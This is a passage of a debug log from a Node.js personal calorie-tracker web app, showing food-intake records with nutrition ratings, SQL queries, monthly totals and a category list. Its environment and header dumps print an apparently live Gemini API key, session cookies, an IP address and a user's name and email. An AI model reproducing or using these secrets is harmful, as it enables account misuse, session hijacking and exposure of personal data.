    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:11:36.021Z server-connect:app Executing action step setvalue
2025-12-16T10:11:36.021Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:11:36.021Z server-connect:output var_total: 1071
2025-12-16T10:11:36.021Z server-connect:app Executing action step setvalue
2025-12-16T10:11:36.021Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:11:36.021Z server-connect:output var_consumed: 45
2025-12-16T10:11:36.021Z server-connect:app Executing action step setvalue
2025-12-16T10:11:36.021Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:11:36.021Z server-connect:output var_deficit: 1329
2025-12-16T10:11:36.021Z server-connect:app Executing action step custom
2025-12-16T10:11:36.021Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:11:36.022Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
2025-12-16T10:11:39.442Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:11:39.443Z server-connect:app Executing action step identify
2025-12-16T10:11:39.443Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:39.443Z server-connect:output identity: 1
2025-12-16T10:11:39.443Z server-connect:app Executing action step restrict
2025-12-16T10:11:39.443Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:11:39.443Z server-connect:output restrict: undefined
2025-12-16T10:11:39.443Z server-connect:router Render template layouts/main
2025-12-16T10:11:39.443Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T10:11:40.987Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:11:40.988Z server-connect:app Executing action step identify
2025-12-16T10:11:40.988Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:40.988Z server-connect:output identity: 1
2025-12-16T10:11:40.988Z server-connect:app Executing action step restrict
2025-12-16T10:11:40.988Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:11:40.988Z server-connect:output restrict: undefined
2025-12-16T10:11:40.988Z server-connect:router Render template layouts/main
2025-12-16T10:11:40.989Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T10:11:43.470Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:11:43.471Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:11:43.471Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:11:43.472Z server-connect:app Executing action step identify
2025-12-16T10:11:43.472Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:43.473Z server-connect:output identity: 1
2025-12-16T10:11:43.473Z server-connect:app Executing action step restrict
2025-12-16T10:11:43.473Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:11:43.473Z server-connect:app Executing action step identify
2025-12-16T10:11:43.473Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:43.473Z server-connect:output identity: 1
2025-12-16T10:11:43.473Z server-connect:app Executing action step restrict
2025-12-16T10:11:43.473Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:11:43.474Z server-connect:app Executing action step identify
2025-12-16T10:11:43.474Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:43.474Z server-connect:output identity: 1
2025-12-16T10:11:43.474Z server-connect:app Executing action step restrict
2025-12-16T10:11:43.474Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:11:43.474Z server-connect:output restrict: undefined
2025-12-16T10:11:43.474Z server-connect:app Executing action step select
2025-12-16T10:11:43.475Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:11:43.475Z server-connect:output restrict: undefined
2025-12-16T10:11:43.475Z server-connect:app Executing action step single
2025-12-16T10:11:43.475Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:11:43.476Z server-connect:output restrict: undefined
2025-12-16T10:11:43.476Z server-connect:app Executing action step single
2025-12-16T10:11:43.476Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:11:43.478Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:11:43.478Z server-connect:app Executing action step select
2025-12-16T10:11:43.478Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:11:43.479Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:11:43.480Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
